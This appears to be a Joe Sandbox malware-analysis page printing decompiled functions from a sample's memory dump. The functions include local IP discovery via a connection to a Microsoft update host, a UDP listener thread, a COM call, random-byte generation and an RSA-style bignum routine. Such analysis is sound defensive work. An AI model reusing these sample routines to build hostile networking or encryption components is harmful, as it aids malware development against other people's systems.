Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction ID: 64461f39ab81653a4184227da93eab0719a9ebb5afb4910718686698f9d98f64
Opcode Fuzzy Hash: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction Fuzzy Hash: 7131EF74900209EFCB14DFA4DD48AEE7BB5FF48315F1086AAE825A3290D7749A50CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409540() {
				intOrPtr _v8;
				short _v10;
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _v30;
				short _v34;
				short _v38;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v48;
				intOrPtr _t28;
				char* _t30;

				_v8 = 0xffffffff;
				_v24 = 0;
				_v22 = 0;
				_v18 = 0;
				_v14 = 0;
				_v10 = 0;
				_v24 = 2;
				__imp__#9(0x50);
				_v22 = 0;
				_t28 = E00409500("www.update.microsoft.com");
				_v20 = _t28;
				__imp__#23(2, 1, 0);
				_v28 = _t28;
				if(_v28 != 0xffffffff) {
					_t30 =  &_v24;
					__imp__#4(_v28, _t30, 0x10);
					if(_t30 == 0) {
						_v44 = 0;
						_v42 = 0;
						_v38 = 0;
						_v34 = 0;
						_v30 = 0;
						_v48 = 0x10;
						__imp__#6(_v28,  &_v44,  &_v48);
						_v8 = _v40;
					}
					E00409600(_v28);
				}
				return _v8;
			}

0x00409546
0x0040954f
0x00409555
0x00409558
0x0040955b
0x0040955e
0x00409567
0x0040956d
0x00409573
0x0040957c
0x00409584
0x0040958d
0x00409593
0x0040959a
0x0040959e
0x004095a6
0x004095ae
0x004095b2
0x004095b8
0x004095bb
0x004095be
0x004095c1
0x004095c5
0x004095d8
0x004095e1
0x004095e1
0x004095e8
0x004095ed
0x004095f6

APIs

htons.WS2_32(00000050), ref: 0040956D

Part of subcall function 00409500: inet_addr.WS2_32(00409581), ref: 0040950A
Part of subcall function 00409500: gethostbyname.WS2_32(?), ref: 0040951D

socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
connect.WS2_32(000000FF,?,00000010), ref: 004095A6
getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

Strings

www.update.microsoft.com, xrefs: 00409577

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 2dec295092395f23a9cc8e75f3d945b5eddd047bf9da38ba452b3522f7f48efc
Instruction ID: 389a469d72f566baadd69971dc4dec0fd14d74987819c9d890e36e211f91e18c
Opcode Fuzzy Hash: 2dec295092395f23a9cc8e75f3d945b5eddd047bf9da38ba452b3522f7f48efc
Instruction Fuzzy Hash: FD210EB5D14309ABCB04DFE4D846AEFBBB4AF48310F108169E505F3390E7745A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A870 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A870(void* __ecx, BYTE* _a4, int _a8) {
				char _v8;
				char* _t6;

				_t1 =  &_v8; // 0x406545
				_t6 = _t1;
				__imp__CryptAcquireContextW(_t6, 0, 0, 1, 0xf0000040, __ecx);
				if(_t6 != 0) {
					_t4 =  &_v8; // 0x406545
					CryptGenRandom( *_t4, _a8, _a4);
					_t5 =  &_v8; // 0x406545
					return CryptReleaseContext( *_t5, 0);
				}
				return _t6;
			}

0x0040a87f
0x0040a87f
0x0040a883
0x0040a88b
0x0040a895
0x0040a899
0x0040a8a1
0x00000000
0x0040a8a5
0x0040a8ae

APIs

CryptAcquireContextW.ADVAPI32(Ee@,00000000,00000000,00000001,F0000040,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A883
CryptGenRandom.ADVAPI32(Ee@,?,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A899
CryptReleaseContext.ADVAPI32(Ee@,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A8A5

Strings

Ee@, xrefs: 0040A87F, 0040A895, 0040A8A1, 0040A882, 0040A898, 0040A8A4

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Ee@
API String ID: 1815803762-3880142923
Opcode ID: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction ID: 1edff0947e8a0bec857b7d5bc171d56b6abde249d8757a471d495e886690916f
Opcode Fuzzy Hash: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction Fuzzy Hash: 47E01275650308FBDB14DBD1EC49F9A777CAB48740F108154B709A7284DAB5EA408768

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD70 Relevance: 6.1, APIs: 4, Instructions: 59
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E0040DD70(void* __edi) {
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				short _v26;
				char _v28;
				void* __ebx;
				void* _t15;
				void* _t24;

				_t27 = __edi;
				_t24 = E00408B00(0x24);
				 *_t24 = 0x756470;
				 *(_t24 + 4) = 1;
				_t15 = CreateEventA(0, 1, 0, 0);
				 *(_t24 + 0x10) = _t15;
				__imp__#23(2, 2, 0x11);
				 *(_t24 + 8) = _t15;
				if(_t15 == 0xffffffff) {
					E0040DD00(_t24, __edi);
					_t24 = 0;
				}
				if(_t24 == 0) {
					L6:
					return _t24;
				} else {
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_v28 = 2;
					__imp__#2( *(_t24 + 8),  &_v28, 0x10);
					if(2 != 0xffffffff) {
						 *((intOrPtr*)(_t24 + 0xc)) = _v20;
						 *((intOrPtr*)(_t24 + 0x14)) = CreateThread(0, 0, E0040DAD0, _t24, 0, 0);
						goto L6;
					} else {
						E0040DD00(_t24, _t27);
						return 0;
					}
				}
			}

0x0040dd70
0x0040dd82
0x0040dd88
0x0040dd8e
0x0040dd95
0x0040dda1
0x0040dda4
0x0040ddaa
0x0040ddb0
0x0040ddb2
0x0040ddb7
0x0040ddb7
0x0040ddbb
0x0040de1a
0x0040de20
0x0040ddbd
0x0040ddbf
0x0040ddc3
0x0040ddc7
0x0040ddcb
0x0040dddb
0x0040dde5
0x0040ddee
0x0040de0e
0x0040de17
0x00000000
0x0040ddf0
0x0040ddf0
0x0040ddfb
0x0040ddfb
0x0040ddee

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BF1E,00000000), ref: 0040DD95
socket.WS2_32(00000002,00000002,00000011), ref: 0040DDA4
bind.WS2_32(?,?,00000010), ref: 0040DDE5

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,0040DAD0,00000000,00000000,00000000), ref: 0040DE11

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: a272f706d971db141aade7e541e5b093828ed65ab25b051faa62c99c8275b329
Instruction ID: a1f51b83e62fd1e5ac6bfc854ac0cad300f812e19a803ea918e078540f5b95b0
Opcode Fuzzy Hash: a272f706d971db141aade7e541e5b093828ed65ab25b051faa62c99c8275b329
Instruction Fuzzy Hash: 9611C870A40300AFE7009FB49C86B577AA0EF44710F50897AFA08DE2D1D2F4D8488756

Uniqueness

Uniqueness Score: -1.00%

Function 0040C000 Relevance: 4.6, APIs: 3, Instructions: 89
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C000(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				intOrPtr _v16;
				short _v20;
				intOrPtr _t36;

				_v12 = 0;
				_t36 = E00403FB0(_a4, 0, 0);
				_v8 = _t36;
				if(_v8 != 0) {
					__imp__#2(_v8);
					_v16 = _t36;
					if(_v16 != 0) {
						__imp__CoCreateInstance(0x410318, 0, 0x4401, 0x410308,  &_v12);
						if(_v12 != 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0xfc))))(_v12, 0);
							 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x120))))(_v12, 0);
							 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x118))))(_v12, 0);
							 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x110))))(_v12, 0xffffffff);
							_push( &_v20);
							_push(_v16);
							_push(_v12);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x104))))() != 0 || _v20 != 0xffffffff) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
								_v12 = 0;
							}
						}
						__imp__#6(_v16);
					}
					E00408C70(_v8);
				}
				return _v12;
			}

0x0040c006
0x0040c015
0x0040c01d
0x0040c024
0x0040c02e
0x0040c034
0x0040c03b
0x0040c056
0x0040c060
0x0040c077
0x0040c08a
0x0040c09d
0x0040c0b0
0x0040c0b5
0x0040c0b9
0x0040c0c2
0x0040c0cd
0x0040c0e4
0x0040c0e6
0x0040c0e6
0x0040c0cd
0x0040c0f1
0x0040c0f1
0x0040c0fb
0x0040c100
0x0040c109

APIs

Part of subcall function 00403FB0: lstrlenA.KERNEL32(00000000), ref: 00403FC7

SysAllocString.OLEAUT32(00000000), ref: 0040C02E
CoCreateInstance.OLE32(00410318,00000000,00004401,00410308,00000000), ref: 0040C056
SysFreeString.OLEAUT32(00000000), ref: 0040C0F1

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeInstancelstrlen
String ID:
API String ID: 2697797874-0
Opcode ID: 3a0839df27600a78392ff93aabca5e88202ddba1a11ed3d88e78accca3d23463
Instruction ID: 20a4abcab3aa1e453c28a64226875db30f5cadca032c4d12d083da261cb1894b
Opcode Fuzzy Hash: 3a0839df27600a78392ff93aabca5e88202ddba1a11ed3d88e78accca3d23463
Instruction Fuzzy Hash: E9310075A40208EFDB04DB94C895FEEB775AF48700F1082A8E515AB3E0D775AE81CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE60 Relevance: 3.0, APIs: 2, Instructions: 15
timenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040BE60() {
				void* _v12;
				char _v16;

				NtQuerySystemTime( &_v12);
				__imp__RtlTimeToSecondsSince1980( &_v12,  &_v16);
				return _v16;
			}

0x0040be6a
0x0040be78
0x0040be84

APIs

NtQuerySystemTime.NTDLL(00409E35), ref: 0040BE6A
RtlTimeToSecondsSince1980.NTDLL(00409E35,?), ref: 0040BE78

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Time$QuerySecondsSince1980System
String ID:
API String ID: 1987401769-0
Opcode ID: 455ee2c5fbbf567fcd4195f9b58f1b2e88d94abc591c6772a18d5419c0166664
Instruction ID: 61a43f963703ead5740a67a36a46c65e70a796bd6fb3fa65a83a1f3e4532f8ca
Opcode Fuzzy Hash: 455ee2c5fbbf567fcd4195f9b58f1b2e88d94abc591c6772a18d5419c0166664
Instruction Fuzzy Hash: 04D09E7DD0120DABCB00DBE4E9898DDB77CEA44201F0085D5ED1592140EA7466588B95

Uniqueness

Uniqueness Score: -1.00%

Function 00402E90 Relevance: 1.7, Strings: 1, Instructions: 488
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 72%

			E00402E90(void* __eflags, intOrPtr _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, signed int _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v580;
				unsigned int _v584;
				signed int _v588;
				intOrPtr _v592;
				intOrPtr _t249;
				signed int _t260;
				signed int _t282;
				signed int _t302;
				signed int _t311;
				signed int _t317;
				signed int _t329;
				signed int _t334;
				signed int _t370;
				unsigned int _t377;
				signed int _t389;
				signed int _t416;
				signed int _t425;
				signed int _t433;
				unsigned int _t441;
				signed int _t443;
				signed int _t445;
				signed int _t446;
				signed int _t448;
				signed int _t449;
				void* _t463;
				void* _t464;
				void* _t465;
				void* _t470;
				void* _t471;
				void* _t472;
				void* _t477;

				_t341 = _a12;
				_t249 = E00402290(_a12, _a20);
				_t465 = _t464 + 8;
				_v592 = _t249;
				if(_v592 != 0) {
					__eflags = _v592 - 1;
					if(_v592 != 1) {
						_v28 = 0;
						while(1) {
							__eflags = _v28 - 8;
							if(_v28 >= 8) {
								break;
							}
							__eflags = _v28 - 0x20;
							if(_v28 >= 0x20) {
								break;
							}
							_t341 = _v28;
							__eflags =  *((intOrPtr*)(0x41634c + _t341 * 4)) - _v592;
							if( *((intOrPtr*)(0x41634c + _t341 * 4)) <= _v592) {
								_t334 = _v28 + 1;
								__eflags = _t334;
								_v28 = _t334;
								continue;
							}
							break;
						}
						__eflags = _v28 - 1;
						if(__eflags > 0) {
							_v44 = _a20 << 1;
							_v48 = E00401400(_t341, _v44);
							_v52 = E00401400(_v44, _v44);
							_v20 = E00401400(_v44, _v44);
							_v16 = E00401400(_v44, _v44);
							_v580 = _a8;
							E00402950(_v580, __eflags, _v20, _v580, _v580, _a16, _a20);
							_t470 = _t465 + 0x24;
							_v64 = 1 << _v28 - 1;
							_v24 = 1;
							while(1) {
								_t347 = _v24;
								__eflags = _v24 - _v64;
								if(_v24 >= _v64) {
									break;
								}
								 *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)) = E00401400(_t347, _v44);
								E00402310( *((intOrPtr*)(_t463 + _v24 * 4 - 0x244)),  *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)),  *((intOrPtr*)(_t463 + _v24 * 4 - 0x244)), _a20);
								_t477 = _t470 + 0x10;
								do {
									E00401960(_v48, _v20,  *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)), _a20);
									E00401BD0(__eflags, _v52,  *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)), _v48, _a20 << 1, _a16, _a20);
									_t477 = _t477 + 0x28;
									__eflags = 0;
								} while (0 != 0);
								_t329 = _v24 + 1;
								__eflags = _t329;
								_v24 = _t329;
							}
							_v56 = 1;
							_t260 = E00402250(_a12, _a20);
							_t471 = _t470 + 8;
							_v588 = _t260;
							_v40 = 0x80000000;
							while(1) {
								__eflags = _v40;
								if(_v40 <= 0) {
									break;
								}
								_t449 = _v588;
								_t317 = _a12;
								__eflags =  *(_t317 + _t449 * 4 - 4) & _v40;
								if(( *(_t317 + _t449 * 4 - 4) & _v40) == 0) {
									_t389 = _v40 >> 1;
									__eflags = _t389;
									_v40 = _t389;
									continue;
								}
								break;
							}
							_v12 = 0;
							_v8 = 0;
							_v36 = 0;
							while(1) {
								__eflags = _v588;
								if(_v588 == 0) {
									break;
								}
								__eflags = _v56;
								if(_v56 != 0) {
									L29:
									__eflags = _v8;
									if(_v8 != 0) {
										__eflags = _v12;
										if(_v12 > 0) {
											_t433 = _v12 - 1;
											__eflags = _t433;
											_v12 = _t433;
										}
										L52:
										__eflags = _v8;
										if(_v8 == 0) {
											do {
												L58:
												__eflags = _v40 - 1;
												if(_v40 != 1) {
													_t425 = _v40 >> 1;
													__eflags = _t425;
													_v40 = _t425;
												} else {
													_v40 = 0x80000000;
													_v588 = _v588 - 1;
												}
												__eflags = 0;
											} while (0 != 0);
											continue;
										}
										__eflags = _v12 - 1;
										if(_v12 >= 1) {
											goto L58;
										}
										__eflags = _v56;
										if(_v56 == 0) {
											do {
												E00401960(_v48,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _v16, _a20);
												E00401BD0(__eflags, _v52, _v16, _v48, _a20 << 1, _a16, _a20);
												_t471 = _t471 + 0x28;
												__eflags = 0;
											} while (0 != 0);
											L57:
											_v8 = 0;
											_v12 = 0;
											goto L58;
										}
										E00402310(_v36, _v16,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _a20);
										_t471 = _t471 + 0xc;
										_v56 = 0;
										goto L57;
									}
									_t302 = _v588;
									_t370 = _a12;
									__eflags =  *(_t370 + _t302 * 4 - 4) & _v40;
									if(( *(_t370 + _t302 * 4 - 4) & _v40) == 0) {
										L49:
										goto L52;
									}
									_v8 = 1;
									_v60 = _v40;
									_v32 = _v588;
									_v584 = 1;
									_v24 = 0;
									while(1) {
										__eflags = _v24 - _v28 - 1;
										if(_v24 >= _v28 - 1) {
											break;
										} else {
											goto L34;
										}
										do {
											L34:
											__eflags = _v60 - 1;
											if(_v60 != 1) {
												_t443 = _v60 >> 1;
												__eflags = _t443;
												_v60 = _t443;
											} else {
												_v60 = 0x80000000;
												_v32 = _v32 - 1;
											}
											__eflags = 0;
										} while (0 != 0);
										_v584 = _v584 << 1;
										__eflags = _v32;
										if(_v32 != 0) {
											_t446 = _v32;
											_t311 = _a12;
											__eflags =  *(_t311 + _t446 * 4 - 4) & _v60;
											if(( *(_t311 + _t446 * 4 - 4) & _v60) != 0) {
												_t448 = _v584 | 0x00000001;
												__eflags = _t448;
												_v584 = _t448;
											}
										}
										_t445 = _v24 + 1;
										__eflags = _t445;
										_v24 = _t445;
									}
									_v12 = _v28 - 1;
									while(1) {
										__eflags = _v12;
										if(_v12 <= 0) {
											break;
										}
										__eflags = _v584 & 0x00000001;
										if((_v584 & 0x00000001) == 0) {
											_v12 = _v12 - 1;
											_t441 = _v584 >> 1;
											__eflags = _t441;
											_v584 = _t441;
											continue;
										}
										break;
									}
									_t377 = _v584 >> 1;
									__eflags = _t377;
									_v36 = _t377;
									goto L49;
								} else {
									goto L28;
								}
								do {
									L28:
									E00401F80(_v48, _v16, _a20);
									E00401BD0(__eflags, _v52, _v16, _v48, _a20 << 1, _a16, _a20);
									_t471 = _t471 + 0x24;
									__eflags = 0;
								} while (0 != 0);
								goto L29;
							}
							__eflags = _v8;
							if(_v8 == 0) {
								L67:
								E00402310(_a4, _a4, _v16, _a20);
								_t472 = _t471 + 0xc;
								do {
									__eflags = _v16;
									if(_v16 != 0) {
										E00402350(_v16, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v16);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								do {
									__eflags = _v20;
									if(_v20 != 0) {
										E00402350(_v20, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v20);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								do {
									__eflags = _v48;
									if(_v48 != 0) {
										E00402350(_v48, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v48);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								do {
									__eflags = _v52;
									if(_v52 != 0) {
										E00402350(_v52, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v52);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								_v24 = 1;
								while(1) {
									__eflags = _v24 - _v64;
									if(_v24 >= _v64) {
										break;
									} else {
										goto L83;
									}
									do {
										L83:
										_t416 = _v24;
										__eflags =  *(_t463 + _t416 * 4 - 0x240);
										if( *(_t463 + _t416 * 4 - 0x240) != 0) {
											E00402350( *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)), _v44);
											_t472 = _t472 + 8;
										}
										E00401430(_t463 + _v24 * 4 - 0x240);
										_t472 = _t472 + 4;
										__eflags = 0;
									} while (0 != 0);
									_t282 = _v24 + 1;
									__eflags = _t282;
									_v24 = _t282;
								}
								__eflags = 0;
								return 0;
							}
							__eflags = _v56;
							if(_v56 == 0) {
								do {
									E00401960(_v48,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _v16, _a20);
									E00401BD0(__eflags, _v52, _v16, _v48, _a20 << 1, _a16, _a20);
									_t471 = _t471 + 0x28;
									__eflags = 0;
								} while (0 != 0);
								goto L67;
							}
							E00402310(_v16, _v16,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _a20);
							_t471 = _t471 + 0xc;
							_v56 = 0;
							goto L67;
						}
						return E00402A00(__eflags, _a4, _a8, _a12, _a16, _a20);
					}
					E00402880(_a4, _a8, _a20, _a16, _a20);
					return 1;
				}
				E00402390(_t341, _a4, 1, _a20);
				return 1;
			}

0x00402e9d
0x00402ea1
0x00402ea6
0x00402ea9
0x00402eb6
0x00402ed4
0x00402edb
0x00402f03
0x00402f15
0x00402f15
0x00402f19
0x00000000
0x00000000
0x00402f1b
0x00402f1f
0x00000000
0x00000000
0x00402f21
0x00402f2b
0x00402f31
0x00402f0f
0x00402f0f
0x00402f12
0x00000000
0x00402f12
0x00000000
0x00402f33
0x00402f37
0x00402f3b
0x00402f63
0x00402f72
0x00402f81
0x00402f90
0x00402f9f
0x00402fa5
0x00402fc5
0x00402fca
0x00402fda
0x00402fdd
0x00402fef
0x00402fef
0x00402ff2
0x00402ff5
0x00000000
0x00000000
0x0040300a
0x0040302b
0x00403030
0x00403033
0x0040304a
0x00403073
0x00403078
0x0040307b
0x0040307b
0x00402fe9
0x00402fe9
0x00402fec
0x00402fec
0x00403084
0x00403093
0x00403098
0x0040309b
0x004030a1
0x004030b2
0x004030b2
0x004030b6
0x00000000
0x00000000
0x004030b8
0x004030be
0x004030c5
0x004030c8
0x004030ad
0x004030ad
0x004030af
0x00000000
0x004030af
0x00000000
0x004030ca
0x004030ce
0x004030d5
0x004030dc
0x004030e3
0x004030e3
0x004030ea
0x00000000
0x00000000
0x004030f0
0x004030f4
0x00403130
0x00403130
0x00403134
0x00403229
0x0040322d
0x00403232
0x00403232
0x00403235
0x00403235
0x00403238
0x00403238
0x0040323c
0x004032c5
0x004032c5
0x004032c5
0x004032c9
0x004032e6
0x004032e6
0x004032e8
0x004032cb
0x004032cb
0x004032db
0x004032db
0x004032eb
0x004032eb
0x00000000
0x004032ef
0x00403242
0x00403246
0x00000000
0x00000000
0x00403248
0x0040324c
0x00403272
0x00403289
0x004032ab
0x004032b0
0x004032b3
0x004032b3
0x004032b7
0x004032b7
0x004032be
0x00000000
0x004032be
0x00403261
0x00403266
0x00403269
0x00000000
0x00403269
0x0040313a
0x00403140
0x00403147
0x0040314a
0x00403227
0x00000000
0x00403227
0x00403150
0x0040315a
0x00403163
0x00403166
0x00403170
0x00403182
0x00403188
0x0040318b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040318d
0x0040318d
0x0040318d
0x00403191
0x004031a8
0x004031a8
0x004031aa
0x00403193
0x00403193
0x004031a0
0x004031a0
0x004031ad
0x004031ad
0x004031b9
0x004031bf
0x004031c3
0x004031c5
0x004031c8
0x004031cf
0x004031d2
0x004031da
0x004031da
0x004031dd
0x004031dd
0x004031d2
0x0040317c
0x0040317c
0x0040317f
0x0040317f
0x004031eb
0x00403207
0x00403207
0x0040320b
0x00000000
0x00000000
0x00403213
0x00403216
0x004031f6
0x004031ff
0x004031ff
0x00403201
0x00000000
0x00403201
0x00000000
0x00403218
0x00403222
0x00403222
0x00403224
0x00000000
0x00000000
0x00000000
0x00000000
0x004030f6
0x004030f6
0x00403102
0x00403124
0x00403129
0x0040312c
0x0040312c
0x00000000
0x004030f6
0x004032f4
0x004032f8
0x00403369
0x00403375
0x0040337a
0x0040337d
0x0040337d
0x00403381
0x0040338b
0x00403390
0x00403390
0x00403397
0x0040339c
0x0040339f
0x0040339f
0x004033a3
0x004033a3
0x004033a7
0x004033b1
0x004033b6
0x004033b6
0x004033bd
0x004033c2
0x004033c5
0x004033c5
0x004033c9
0x004033c9
0x004033cd
0x004033d7
0x004033dc
0x004033dc
0x004033e3
0x004033e8
0x004033eb
0x004033eb
0x004033ef
0x004033ef
0x004033f3
0x004033fd
0x00403402
0x00403402
0x00403409
0x0040340e
0x00403411
0x00403411
0x00403415
0x00403427
0x0040342a
0x0040342d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040342f
0x0040342f
0x0040342f
0x00403432
0x0040343a
0x0040344b
0x00403450
0x00403450
0x0040345e
0x00403463
0x00403466
0x00403466
0x00403421
0x00403421
0x00403424
0x00403424
0x0040346c
0x00000000
0x0040346c
0x004032fa
0x004032fe
0x00403324
0x0040333b
0x0040335d
0x00403362
0x00403365
0x00403365
0x00000000
0x00403324
0x00403313
0x00403318
0x0040331b
0x00000000
0x0040331b
0x00000000
0x00402f56
0x00402ef1
0x00000000
0x00402ef9
0x00402ec2
0x00000000

Strings

, xrefs: 00402F1B

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 5e51b0e8150dde029b3c4edd1cbe5eeac9906cc03eba8322a4fb12b8bbc05176
Instruction ID: dcaf04cbbe1406b8af14a02fe98e1e1ae043b4e220957441d257f04af74a8b75
Opcode Fuzzy Hash: 5e51b0e8150dde029b3c4edd1cbe5eeac9906cc03eba8322a4fb12b8bbc05176
